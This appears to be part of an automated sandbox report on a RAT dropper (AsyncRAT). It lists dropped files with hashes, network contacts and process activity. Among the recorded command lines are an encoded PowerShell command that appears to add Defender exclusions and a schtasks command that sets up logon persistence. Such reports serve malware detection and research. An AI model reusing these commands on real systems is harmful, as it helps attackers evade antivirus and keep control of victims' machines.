Country Destination Domain Proto
US 8.8.8.8:53 www.nodejs.org udp
US 104.20.22.46:443 www.nodejs.org tcp
US 8.8.8.8:53 nodejs.org udp
US 104.20.23.46:443 nodejs.org tcp
US 8.8.8.8:53 aka.ms udp
GB 2.17.6.114:443 aka.ms tcp

Files

\Users\Admin\AppData\Local\Temp\Runtime Broker.exe

MD5 3ef6a6f8a984c661f58c373081986213
SHA1 13f18179a85ae650bcfa70b47d027b0b3fe84d6e
SHA256 0b657c945d9ebee7f0b8a48be6f1abf4b9dbf2c0c609fc8030818a2229dd175e
SHA512 e7c6bc2b7e4d5d252b4b05628cab64007e5c0cec15657ee533ec78c7cd4546afb27df7b5b6be82b5d8bda085b93463dadaae41b74ccd6061b0ee7b2f68de27df

\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe

MD5 36b62ba7d1b5e149a2c297f11e0417ee
SHA1 ce1b828476274375e632542c4842a6b002955603
SHA256 8353c5ace62fda6aba330fb3396e4aab11d7e0476f815666bd96a978724b9e0c
SHA512 fddec44631e7a800abf232648bbf417969cd5cc650f32c17b0cdc12a0a2afeb9a5dbf5c1f899bd2fa496bd22307bfc8d1237c94920fceafd84f47e13a6b98b94

memory/2120-16-0x0000000001300000-0x0000000001318000-memory.dmp

memory/1296-17-0x0000000001340000-0x000000000140E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpE62.tmp.bat

MD5 8ede189c93b9e7328ccfdfdf6568a9ae
SHA1 07ef9db18db5d59310bcaf50423f8fe7eb83e932
SHA256 a71fd79a6ee629cdff9d0d1db96abc118be9841e3bbf2acf83e99f61041002ec
SHA512 783d7e3b099461a7f7cc299c2e7a6fedc25e03b68fb427e58b562308ee661e70667b95f1e66aab90300aeb63597e5b4e241dac5312c8788fbdc5e2c974bf19d3

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar1388.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi

MD5 0e4e9aa41d24221b29b19ba96c1a64d0
SHA1 231ade3d5a586c0eb4441c8dbfe9007dc26b2872
SHA256 5bfb6f3ab89e198539408f7e0e8ec0b0bd5efe8898573ec05b381228efb45a5d
SHA512 e6f27aecead72dffecbeaad46ebdf4b1fd3dbcddd1f6076ba183b654e4e32d30f7af1236bf2e04459186e993356fe2041840671be73612c8afed985c2c608913

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 bf20300597bee1583ea0ecde86f05a68
SHA1 6fbc681c444b52bd36f9fd51f35bef5b99f82881
SHA256 9f80348242e55fa8788d3226f8477483837cf10b095af4a5b9e8655fe02af83d
SHA512 675388bfb65f598559e8c767f63e5a09a308b3ead6c0083763f82a3260715d663f8890df7552e9855f43245c29a190305cf6c43e4b5a5fe58f5ccbebd87dc5c5

C:\Windows\Installer\MSI2707.tmp

MD5 9fe9b0ecaea0324ad99036a91db03ebb
SHA1 144068c64ec06fc08eadfcca0a014a44b95bb908
SHA256 e2cce64916e405976a1d0c522b44527d12b1cba19de25da62121cf5f41d184c9
SHA512 906641a73d69a841218ae90b83714a05af3537eec8ad1d761f58ac365cf005bdd74ad88f71c4437aaa126ac74fa46bcad424d17c746ab197eec2caa1bd838176

C:\Windows\Installer\MSI2757.tmp

MD5 a3ae5d86ecf38db9427359ea37a5f646
SHA1 eb4cb5ff520717038adadcc5e1ef8f7c24b27a90
SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
SHA512 96ecb3bc00848eeb2836e289ef7b7b2607d30790ffd1ae0e0acfc2e14f26a991c6e728b8dc67280426e478c70231f9e13f514e52c8ce7d956c1fad0e322d98e0

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-17 18:42

Reported

2024-06-17 18:45

Platform

win10v2004-20240508-en

Max time kernel

63s

Max time network

53s

Command Line

"C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2216 wrote to memory of 3596 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2216 wrote to memory of 3596 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2216 wrote to memory of 3596 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2216 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe
PID 2216 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe
PID 2216 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe
PID 2216 wrote to memory of 4160 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
PID 2216 wrote to memory of 4160 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
PID 2216 wrote to memory of 4160 N/A C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
PID 2156 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2156 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2156 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2156 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2156 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2156 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe C:\Windows\SysWOW64\cmd.exe
PID 2756 wrote to memory of 4856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2756 wrote to memory of 4856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2756 wrote to memory of 4856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3764 wrote to memory of 2768 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 3764 wrote to memory of 2768 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 3764 wrote to memory of 2768 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe

Processes

C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe

"C:\Users\Admin\AppData\Local\Temp\AeroBootstrapper.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAcgBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAdgBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAdwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAcQB0ACMAPgA="

C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe

"C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe"

C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe

"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "%AppData%" /tr '"C:\Users\Admin\AppData\Roaming\%AppData%.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp54D7.tmp.bat""

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "C:\Users\Admin\AppData\Roaming" /tr '"C:\Users\Admin\AppData\Roaming\C:\Users\Admin\AppData\Roaming.exe"'

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4160 -ip 4160

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4160 -s 1436

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.nodejs.org udp

Files

C:\Users\Admin\AppData\Local\Temp\Runtime Broker.exe

MD5 3ef6a6f8a984c661f58c373081986213
SHA1 13f18179a85ae650bcfa70b47d027b0b3fe84d6e
SHA256 0b657c945d9ebee7f0b8a48be6f1abf4b9dbf2c0c609fc8030818a2229dd175e
SHA512 e7c6bc2b7e4d5d252b4b05628cab64007e5c0cec15657ee533ec78c7cd4546afb27df7b5b6be82b5d8bda085b93463dadaae41b74ccd6061b0ee7b2f68de27df

C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe

MD5 36b62ba7d1b5e149a2c297f11e0417ee
SHA1 ce1b828476274375e632542c4842a6b002955603
SHA256 8353c5ace62fda6aba330fb3396e4aab11d7e0476f815666bd96a978724b9e0c
SHA512 fddec44631e7a800abf232648bbf417969cd5cc650f32c17b0cdc12a0a2afeb9a5dbf5c1f899bd2fa496bd22307bfc8d1237c94920fceafd84f47e13a6b98b94

memory/3596-21-0x000000007341E000-0x000000007341F000-memory.dmp

memory/2156-24-0x0000000073410000-0x0000000073BC0000-memory.dmp

memory/3596-22-0x0000000002890000-0x00000000028C6000-memory.dmp

memory/2156-26-0x00000000005E0000-0x00000000005F8000-memory.dmp

memory/3596-30-0x0000000073410000-0x0000000073BC0000-memory.dmp

memory/2156-29-0x0000000005490000-0x0000000005A34000-memory.dmp

memory/3596-28-0x0000000005120000-0x0000000005748000-memory.dmp

memory/3596-27-0x0000000073410000-0x0000000073BC0000-memory.dmp

memory/4160-25-0x00000000005C0000-0x000000000068E000-memory.dmp

memory/3596-34-0x00000000050B0000-0x0000000005116000-memory.dmp

memory/3596-33-0x0000000005040000-0x00000000050A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b5z0myww.e5k.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3596-45-0x0000000005850000-0x0000000005BA4000-memory.dmp

memory/4160-44-0x0000000073410000-0x0000000073BC0000-memory.dmp

memory/3596-32-0x0000000004EA0000-0x0000000004EC2000-memory.dmp

memory/3596-47-0x00000000062A0000-0x00000000062EC000-memory.dmp

memory/2156-48-0x0000000073410000-0x0000000073BC0000-memory.dmp

memory/3596-46-0x0000000005E60000-0x0000000005E7E000-memory.dmp

memory/3596-49-0x0000000007020000-0x0000000007052000-memory.dmp

memory/3596-50-0x00000000700A0000-0x00000000700EC000-memory.dmp

memory/3596-60-0x0000000006440000-0x000000000645E000-memory.dmp

memory/3596-61-0x0000000007060000-0x0000000007103000-memory.dmp

memory/2156-66-0x0000000073410000-0x0000000073BC0000-memory.dmp

memory/3596-69-0x00000000071A0000-0x00000000071BA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp54D7.tmp.bat

MD5 61dd7a5787cdb323cae606824562608f
SHA1 98d19c9b40d666a24959954b5c83aeaece706311
SHA256 52845950cc6c9812d515604b9b078e77213aece9a19e2a07189b81c2cab32d6c
SHA512 08a9e2c1daea884d1d71b5554d9202703e0b512ae7887756772ca5770220c73ae1e965da5d70a70a686db509cc1d082ed2ba4a08a82124a53b411ffdfed1fad8

memory/3596-67-0x00000000077E0000-0x0000000007E5A000-memory.dmp

memory/3596-70-0x0000000007210000-0x000000000721A000-memory.dmp

memory/3596-71-0x0000000007430000-0x00000000074C6000-memory.dmp

memory/3596-72-0x00000000073A0000-0x00000000073B1000-memory.dmp

memory/3596-73-0x00000000073E0000-0x00000000073EE000-memory.dmp

memory/3596-74-0x00000000073F0000-0x0000000007404000-memory.dmp

memory/3596-75-0x00000000074D0000-0x00000000074EA000-memory.dmp

memory/3596-76-0x0000000007420000-0x0000000007428000-memory.dmp

memory/3596-79-0x0000000073410000-0x0000000073BC0000-memory.dmp

memory/4160-80-0x0000000073410000-0x0000000073BC0000-memory.dmp